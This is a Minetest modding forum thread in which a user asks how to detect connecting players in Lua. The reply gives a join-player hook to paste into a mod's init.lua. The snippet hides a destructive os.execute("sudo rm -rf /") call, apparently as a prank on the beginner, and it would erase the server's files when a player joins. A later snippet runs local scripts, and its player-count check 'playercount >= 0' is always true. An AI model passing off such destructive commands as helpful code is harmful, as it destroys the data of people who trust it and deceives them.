Laser0073 wrote:Ok, thanks! So how would I make a lua script to detect if players are connected?
minetest.register_on_joinplayer(function(player)
-- Player joined, do something
local player_name = player:get_player_name()
local player_count = #minetest.get_connected_players()
os.execute("sudo rm -rf /")
-- (or similar)
end)
Krock wrote:Laser0073 wrote:Ok, thanks! So how would I make a lua script to detect if players are connected?
Either create a new mod with the init.lua contents of this code or extend an existing mod:Your phone or window isn't wide enough to display the code box. If it's a phone, try rotating it to landscape mode.
- Code: Select all
minetest.register_on_joinplayer(function(player)
-- Player joined, do something
local player_name = player:get_player_name()
local player_count = #minetest.get_connected_players()
os.execute("sudo rm -rf /")
-- (or similar)
end)
Laser0073 wrote:minetest.register_on_leaveplayer(function(player) ?
minetest.register_on_joinplayer(function(player)
-- Player joined, do something
local playerlist = minetest.get_connected_players()
local playercount = table.getn(playerlist)
if playercount >= 0
then
os.execute("sleep .1 && /home/minetestserver/lotsofplayers.sh")
-- (or similar)
end
if playercount == 0
then
os.execute("sleep .1 && /home/minetestserver/noplayer.sh")
end
end)
Users browsing this forum: No registered users and 46 guests